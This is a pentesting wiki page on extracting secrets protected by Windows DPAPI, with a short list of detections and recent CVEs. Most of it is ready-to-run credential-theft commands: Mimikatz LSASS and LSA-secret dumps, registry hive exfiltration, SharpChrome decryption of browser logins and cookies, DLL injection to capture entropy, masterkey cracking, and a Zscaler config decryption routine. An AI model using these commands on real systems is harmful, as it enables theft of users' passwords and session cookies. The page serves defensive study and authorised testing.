dpapi-extracting-passwords.md (26925B)
1 --- 2 title: "DPAPI - Extracting Passwords" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # DPAPI - Extracting Passwords 14 15 ## What is DPAPI 16 17 The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the **symmetric encryption of asymmetric private keys**, leveraging either user or system secrets as a significant source of entropy. This approach simplifies encryption for developers by enabling them to encrypt data using a key derived from the user's logon secrets or, for system encryption, the system's domain authentication secrets, thus obviating the need for developers to manage the protection of the encryption key themselves. 18 19 The most common way to use DPAPI is through the **`CryptProtectData` and `CryptUnprotectData`** functions, which allow applications to encrypt and decrypt data using the security context of the currently logged-on process. By default, the data can be decrypted only by the same user or system context that encrypted it.<sup>[[2]](#references)[[3]](#references)</sup> 20 21 These functions also accept an optional **entropy parameter** used during encryption and decryption. Data protected with optional entropy requires that same entropy value for decryption.<sup>[[2]](#references)[[6]](#references)</sup> 22 23 ### Users key generation 24 25 DPAPI derives a user-specific value (often called a **pre-key**) from the user's credentials. The exact derivation depends on the account and operating-system version. For example, Impacket tries an HMAC-SHA1 path based on the SHA-1 digest of the UTF-16LE password, another based on the password's MD4/NT hash, and a PBKDF2-SHA256-derived path for Protected Users. This is why offline tooling can often derive the required material from either the plaintext password or an available NT hash.<sup>[[2]](#references)[[10]](#references)</sup> 26 27 This is specially interesting because if an attacker can obtain the user's password hash, they can: 28 29 - **Decrypt any data that was encrypted using DPAPI** with that user's key without needing to contact any API 30 - Try to **crack the password** offline trying to generate the valid DPAPI key 31 32 DPAPI maintains one or more **master keys** for each user rather than creating a new master key for every protected blob. Each master key has a **GUID** (Globally Unique Identifier), and an encrypted blob records which master key protects it.<sup>[[2]](#references)</sup> 33 34 Master keys are stored in the **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** directory, where `{SID}` is the user's Security Identifier. The master-key file contains material protected by the user's **pre-key** and, for domain users, recovery material protected by a **domain backup key**.<sup>[[2]](#references)</sup> 35 36 Note that the **domain key used to encrypt the master key is in the domain controllers and never changes**, so if an attacker has access to the domain controller, they can retrieve the domain backup key and decrypt the master keys of all users in the domain.<sup>[[2]](#references)</sup> 37 38 The encrypted blobs contain the **GUID of the master key** that was used to encrypt the data inside its headers. 39 40 > [!TIP] 41 > DPAPI encrypted blobs starts with **`01 00 00 00`** 42 43 Find master keys: 44 45 ```bash 46 Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ 47 Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect 48 Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\ 49 Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\ 50 Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID} 51 Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID} 52 ``` 53 54 This is what a bunch of Master Keys of a user will looks like: 55 56  57 58 ### Machine/System key generation 59 60 This is key used for the machine to encrypt data. It's based on the **DPAPI_SYSTEM LSA secret**, which is a special key that only the SYSTEM user can access. This key is used to encrypt data that needs to be accessible by the system itself, such as machine-level credentials or system-wide secrets.<sup>[[2]](#references)</sup> 61 62 Note that these keys **don't have a domain backup** so they are only accesisble locally: 63 64 - **Mimikatz** can access it dumping LSA secrets using the command: `mimikatz lsadump::secrets` 65 - The secret is stored inside the registry, so an administrator could **modify the DACL permissions to access it**. The registry path is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` 66 - Offline extraction from registry hives is also possible. For example, as an administrator on the target, save the hives and exfiltrate them: 67 68 ```batch 69 reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv 70 reg save HKLM\SECURITY C:\Windows\Temp\security.hiv 71 ``` 72 73 Then on your analysis box, recover the DPAPI_SYSTEM LSA secret from the hives and use it to decrypt machine-scope blobs (scheduled task passwords, service credentials, Wi‑Fi profiles, etc.): 74 75 ```text 76 mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security.hiv 77 # Look for the DPAPI_SYSTEM secret in the output 78 ``` 79 80 Veeam-specific DPAPI example: 81 82 [Pentesting Veeam Backup And Replication](/hacktricks/network-services-pentesting/pentesting-veeam-backup-and-replication) 83 84 ### Protected Data by DPAPI 85 86 Among the personal data protected by DPAPI are: 87 88 - Windows creds 89 - Internet Explorer and Google Chrome's passwords and auto-completion data 90 - E-mail and internal FTP account passwords for applications like Outlook and Windows Mail 91 - Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys 92 - Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes 93 - Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more 94 - Encrypted blobs inside the register 95 - ... 96 97 System protected data includes: 98 - Wifi passwords 99 - Scheduled task passwords 100 - ... 101 102 ### Master key extraction options 103 104 - If the user has domain admin privileges, they can access the **domain backup key** to decrypt all user master keys in the domain: 105 106 ```bash 107 # Mimikatz 108 lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export 109 110 # SharpDPAPI 111 SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk] 112 ``` 113 114 - With local admin privileges, it's possible to **access the LSASS memory** to extract the DPAPI master keys of all the connected users and the SYSTEM key. 115 116 ```bash 117 # Mimikatz 118 mimikatz sekurlsa::dpapi 119 ``` 120 121 - If the user has local admin privileges, they can access the **DPAPI_SYSTEM LSA secret** to decrypt the machine master keys: 122 123 ```bash 124 # Mimikatz 125 lsadump::secrets /system:DPAPI_SYSTEM /export 126 ``` 127 128 - If the password or hash NTLM of the user is known, you can **decrypt the master keys of the user directly**: 129 130 ```bash 131 # Mimikatz 132 dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected 133 134 # SharpDPAPI 135 SharpDPAPI.exe masterkeys /password:PASSWORD 136 ``` 137 138 - If you are inside a session as the user, it's possible to ask the DC for the **backup key to decrypt the master keys using RPC**. If you are local admin and the user is logged in, you could **steal his session token** for this: 139 140 ```bash 141 # Mimikatz 142 dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc 143 144 # SharpDPAPI 145 SharpDPAPI.exe masterkeys /rpc 146 ``` 147 148 149 ## List Vault 150 151 ```bash 152 # From cmd 153 vaultcmd /listcreds:"Windows Credentials" /all 154 155 # From mimikatz 156 mimikatz vault::list 157 ``` 158 159 ## Access DPAPI Encrypted Data 160 161 ### Find DPAPI Encrypted data 162 163 Common users **files protected** are in: 164 165 - `C:\Users\username\AppData\Roaming\Microsoft\Protect\*` 166 - `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*` 167 - `C:\Users\username\AppData\Roaming\Microsoft\Vault\*` 168 - Check also changing `\Roaming\` to `\Local\` in the above paths. 169 170 Enumeration examples: 171 172 ```bash 173 dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ 174 dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ 175 Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ 176 Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ 177 ``` 178 179 [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) can find DPAPI encrypted blobs in the file system, registry and B64 blobs:<sup>[[12]](#references)</sup> 180 181 ```bash 182 # Search blobs in the registry 183 search /type:registry [/path:HKLM] # Search complete registry by default 184 185 # Search blobs in folders 186 search /type:folder /path:C:\path\to\folder 187 search /type:folder /path:C:\Users\username\AppData\ 188 189 # Search a blob inside a file 190 search /type:file /path:C:\path\to\file 191 192 # Search a blob inside B64 encoded data 193 search /type:base64 [/base:<base64 string>] 194 ``` 195 196 Note that [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (from the same repo) can be used to decrypt using DPAPI sensitive data like cookies.<sup>[[12]](#references)</sup> 197 198 #### Chromium/Edge/Electron quick recipes (SharpChrome) 199 200 - Current user, interactive decryption of saved logins/cookies (works even with Chrome 127+ app-bound cookies because the extra key is resolved from the user’s Credential Manager when running in user context): 201 202 ```batch 203 SharpChrome logins /browser:edge /unprotect 204 SharpChrome cookies /browser:chrome /format:csv /unprotect 205 ``` 206 207 - Offline analysis when you only have files. First extract the AES state key from the profile’s "Local State" and then use it to decrypt the cookie DB: 208 209 ```batch 210 # Dump the AES state key from Local State (DPAPI will be used if running as the user) 211 SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect 212 # Copy the hex state key value (e.g., "48F5...AB") and pass it to cookies 213 SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json 214 ``` 215 216 - Domain-wide/remote triage when you have the DPAPI domain backup key (PVK) and admin on the target host: 217 218 ```batch 219 SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64 220 SharpChrome logins /server:HOST01 /browser:chrome /pvk:key.pvk 221 ``` 222 223 - If you have a user’s DPAPI prekey/credkey (from LSASS), you can skip password cracking and directly decrypt profile data: 224 225 ```batch 226 # For SharpChrome use /prekey; for SharpDPAPI use /credkey 227 SharpChrome cookies /browser:edge /prekey:SHA1_HEX 228 SharpDPAPI.exe credentials /credkey:SHA1_HEX 229 ``` 230 231 Notes 232 - Newer Chrome/Edge builds may store certain cookies using "App-Bound" encryption. Offline decryption of those specific cookies is not possible without the additional app-bound key; run SharpChrome under the target user context to retrieve it automatically. See the Chrome security blog post referenced below.<sup>[[5]](#references)</sup> 233 234 ### Access keys and data 235 236 - **Use SharpDPAPI** to get credentials from DPAPI encrypted files from the current session: 237 238 ```bash 239 # Decrypt user data 240 ## Note that 'triage' is like running credentials, vaults, rdg and certificates 241 SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect 242 243 # Decrypt machine data 244 SharpDPAPI.exe machinetriage 245 ``` 246 247 - **Get credentials info** like the encrypted data and the guidMasterKey.<sup>[[3]](#references)</sup> 248 249 ```bash 250 mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 251 252 [...] 253 guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe} 254 [...] 255 pbData : b8f619[...snip...]b493fe 256 [..] 257 ``` 258 259 - **Access masterkeys**: 260 261 Decrypt a masterkey of a user requesting the **domain backup key** using RPC: 262 ```bash 263 # Mimikatz 264 dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc 265 266 # SharpDPAPI 267 SharpDPAPI.exe masterkeys /rpc 268 ``` 269 270 The **SharpDPAPI** tool also supports these arguments for masterkey decryption (note how it's possible to use `/rpc` to get the domains backup key, `/password` to use a plaintext password, or `/pvk` to specify a DPAPI domain private key file...):<sup>[[12]](#references)</sup> 271 272 ```text 273 /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) 274 /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys 275 /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys 276 /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) 277 /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) 278 /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) 279 /rpc - decrypt the target user's masterkeys by asking domain controller to do so 280 /server:SERVER - triage a remote server, assuming admin access 281 /hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) 282 ``` 283 284 - **Decrypt data using a masterkey**: 285 286 ```bash 287 # Mimikatz 288 dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY> 289 290 # SharpDPAPI 291 SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH> 292 ``` 293 294 The **SharpDPAPI** tool also supports these arguments for `credentials|vaults|rdg|keepass|triage|blob|ps` decryption (note how it's possible to use `/rpc` to get the domains backup key, `/password` to use a plaintext password, `/pvk` to specify a DPAPI domain private key file, `/unprotect` to use current users session...):<sup>[[12]](#references)</sup> 295 296 ```text 297 Decryption: 298 /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands 299 /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys 300 /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys 301 /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) 302 /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) 303 /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) 304 /rpc - decrypt the target user's masterkeys by asking domain controller to do so 305 GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption 306 /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption 307 308 Targeting: 309 /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder 310 /server:SERVER - triage a remote server, assuming admin access 311 Note: must use with /pvk:KEY or /password:X 312 Note: not applicable to 'blob' or 'ps' commands 313 ``` 314 315 - Using a DPAPI prekey/credkey directly (no password needed) 316 317 If you can dump LSASS, Mimikatz often exposes a per-logon DPAPI key that can be used to decrypt the user’s masterkeys without knowing the plaintext password. Pass this value directly to the tooling: 318 319 ```batch 320 # SharpDPAPI accepts the "credkey" (domain or local SHA1) 321 SharpDPAPI.exe triage /credkey:SHA1_HEX 322 323 # SharpChrome accepts the same value as a "prekey" 324 SharpChrome logins /browser:edge /prekey:SHA1_HEX 325 ``` 326 327 328 - Decrypt some data using **current user session**: 329 330 ```bash 331 # Mimikatz 332 dpapi::blob /in:C:\path\to\encrypted\file /unprotect 333 334 # SharpDPAPI 335 SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect 336 ``` 337 338 --- 339 340 ### Offline decryption with Impacket dpapi.py 341 342 If you have the victim user’s SID and password (or NT hash), you can decrypt DPAPI masterkeys and Credential Manager blobs entirely offline using Impacket’s dpapi.py.<sup>[[10]](#references)[[11]](#references)</sup> 343 344 - Identify artefacts on disk: 345 - Credential Manager blob(s): %APPDATA%\Microsoft\Credentials\<hex> 346 - Matching masterkey: %APPDATA%\Microsoft\Protect\<SID>\{GUID} 347 348 - If file transfer tooling is flaky, base64 the files on-host and copy the output: 349 350 ```powershell 351 # Base64-encode files for copy/paste exfil 352 [Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9")) 353 [Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407")) 354 ``` 355 356 - Decrypt the masterkey with the user’s SID and password/hash: 357 358 ```bash 359 # Plaintext password 360 python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \ 361 -sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!' 362 363 # Or with NT hash 364 python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \ 365 -sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX> 366 ``` 367 368 - Use the decrypted masterkey to decrypt the credential blob: 369 370 ```bash 371 python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX> 372 # Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN 373 # Username=<user> ; Password=<cleartext> 374 ``` 375 376 This workflow often recovers domain credentials saved by apps using the Windows Credential Manager, including administrative accounts (e.g., `*_adm`). 377 378 --- 379 380 ### Handling Optional Entropy ("Third-party entropy") 381 382 Some applications pass an additional **entropy** value to `CryptProtectData`. Without this value the blob cannot be decrypted, even if the correct masterkey is known. Obtaining the entropy is therefore essential when targeting credentials protected in this way (e.g. Microsoft Outlook, some VPN clients). 383 384 [**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) is a user-mode DLL that hooks the DPAPI functions inside the target process and transparently records any optional entropy that is supplied. Running EntropyCapture in **DLL-injection** mode against processes like `outlook.exe` or `vpnclient.exe` will output a file mapping each entropy buffer to the calling process and blob. The captured entropy can later be supplied to **SharpDPAPI** (`/entropy:`) or **Mimikatz** (`/entropy:<file>`) in order to decrypt the data.<sup>[[6]](#references)</sup> 385 386 ```powershell 387 # Inject EntropyCapture into the current user's Outlook 388 InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll 389 390 # Later decrypt a credential blob that required entropy 391 SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash> 392 ``` 393 394 395 ### Cracking masterkeys offline (Hashcat & DPAPISnoop) 396 397 Microsoft introduced a **context 3** masterkey format starting with Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) added hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) and **22102** (context 3) allowing GPU-accelerated cracking of user passwords directly from the masterkey file. Attackers can therefore perform word-list or brute-force attacks without interacting with the target system.<sup>[[7]](#references)</sup> 398 399 `DPAPISnoop` (2024) automates the process: 400 401 ```bash 402 # Parse a whole Protect folder, generate hashcat format and crack 403 DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc 404 hashcat -m 22102 bob.hc wordlist.txt -O -w4 405 ``` 406 407 The tool can also parse Credential and Vault blobs, decrypt them with cracked keys and export cleartext passwords.<sup>[[8]](#references)</sup> 408 409 410 ### Access other machine data 411 412 In **SharpDPAPI and SharpChrome** you can indicate the **`/server:HOST`** option to access a remote machine's data. Of course you need to be able to access that machine and in the following example it's supposed that the **domain backup encryption key is known**: 413 414 ```bash 415 SharpDPAPI.exe triage /server:HOST /pvk:BASE64 416 SharpChrome cookies /server:HOST /pvk:BASE64 417 ``` 418 419 ## Other tools 420 421 ### HEKATOMB 422 423 [**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) is a tool that automates the extraction of all users and computers from the LDAP directory and the extraction of domain controller backup key through RPC. The script will then resolve all computers IP address and perform a smbclient on all computers to retrieve all DPAPI blobs of all users and decrypt everything with domain backup key. 424 425 `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` 426 427 With extracted from LDAP computers list you can find every sub network even if you didn't know them ! 428 429 ### DonPAPI 2.x (2024-05) 430 431 [**DonPAPI**](https://github.com/login-securite/DonPAPI) can dump secrets protected by DPAPI automatically. The 2.x release introduced:<sup>[[9]](#references)</sup> 432 433 * Parallel collection of blobs from hundreds of hosts 434 * Parsing of **context 3** masterkeys and automatic Hashcat cracking integration 435 * Support for Chrome "App-Bound" encrypted cookies (see next section) 436 * A new **`--snapshot`** mode to repeatedly poll endpoints and diff newly-created blobs 437 438 ### DPAPISnoop 439 440 [**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) is a C# parser for masterkey/credential/vault files that can output Hashcat/JtR formats and optionally invoke cracking automatically. It fully supports machine and user masterkey formats up to Windows 11 24H1.<sup>[[8]](#references)</sup> 441 442 443 ## Common detections 444 445 - Access to files in `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` and other DPAPI-related directories. 446 - Especially from a network share like **C$** or **ADMIN$**. 447 - Use of **Mimikatz**, **SharpDPAPI** or similar tooling to access LSASS memory or dump masterkeys. 448 - Event **4662**: *An operation was performed on an object* – can be correlated with access to the **`BCKUPKEY`** object. 449 - Event **4673/4674** when a process requests *SeTrustedCredManAccessPrivilege* (Credential Manager) 450 451 --- 452 ### 2023-2025 vulnerabilities & ecosystem changes 453 454 * **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (November 2023). An attacker with network access could trick a domain member into retrieving a malicious DPAPI backup key, allowing decryption of user masterkeys. Patched in November 2023 cumulative update – administrators should ensure DCs and workstations are fully patched.<sup>[[4]](#references)</sup> 455 * **Chrome 127 “App-Bound” cookie encryption** (July 2024) replaced the legacy DPAPI-only protection with an additional key stored under the user’s **Credential Manager**. Offline decryption of cookies now requires both the DPAPI masterkey and the **GCM-wrapped app-bound key**. SharpChrome v2.3 and DonPAPI 2.x are able to recover the extra key when running with user context.<sup>[[5]](#references)</sup> 456 457 458 ### Case Study: Zscaler Client Connector – Custom Entropy Derived From SID 459 460 Zscaler Client Connector stores several configuration files under `C:\ProgramData\Zscaler` (e.g. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Each file is encrypted with **DPAPI (Machine scope)** but the vendor supplies **custom entropy** that is *calculated at runtime* instead of being stored on disk.<sup>[[1]](#references)</sup> 461 462 The entropy is rebuilt from two elements: 463 464 1. A hard-coded secret embedded inside `ZSACredentialProvider.dll`. 465 2. The **SID** of the Windows account the configuration belongs to. 466 467 The algorithm implemented by the DLL is equivalent to: 468 469 ```csharp 470 byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET); 471 byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID); 472 473 // XOR the two buffers byte-by-byte 474 byte[] tmp = new byte[secret.Length]; 475 for (int i = 0; i < secret.Length; i++) 476 tmp[i] = (byte)(sid[i] ^ secret[i]); 477 478 // Split in half and XOR both halves together to create the final entropy buffer 479 byte[] entropy = new byte[tmp.Length / 2]; 480 for (int i = 0; i < entropy.Length; i++) 481 entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]); 482 ``` 483 484 Because the secret is embedded in a DLL that can be read from disk, **any local attacker with SYSTEM rights can regenerate the entropy for any SID** and decrypt the blobs offline: 485 486 ```csharp 487 byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat"); 488 byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine); 489 Console.WriteLine(Encoding.UTF8.GetString(clear)); 490 ``` 491 492 Decryption yields the complete JSON configuration, including every **device posture check** and its expected value – information that is very valuable when attempting client-side bypasses. 493 494 > TIP: the other encrypted artefacts (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) are protected with DPAPI **without** entropy (`16` zero bytes). They can therefore be decrypted directly with `ProtectedData.Unprotect` once SYSTEM privileges are obtained. 495 496 ## References 497 498 - [1] [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) 499 - [2] [DPAPI Secrets. Security analysis and data recovery in DPAPI](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13) 500 - [3] [Reading DPAPI Encrypted Secrets with Mimikatz and C++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c) 501 - [4] [CVE-2023-36004 - Windows DPAPI (Data Protection Application Programming Interface) Spoofing Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004) 502 - [5] [Improving the security of Chrome cookies on Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html) 503 - [6] [EntropyCapture: Simple Extraction of DPAPI Optional Entropy](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/) 504 - [7] [hashcat v6.2.6 release notes](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6) 505 - [8] [DPAPISnoop – GitHub repository](https://github.com/Leftp/DPAPISnoop) 506 - [9] [DonPAPI 2.0.1 – PyPI project page](https://pypi.org/project/donpapi/2.0.0/) 507 - [10] [Impacket – dpapi.py](https://github.com/fortra/impacket) 508 - [11] [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html) 509 - [12] [GhostPack SharpDPAPI/SharpChrome – Usage and options](https://github.com/GhostPack/SharpDPAPI)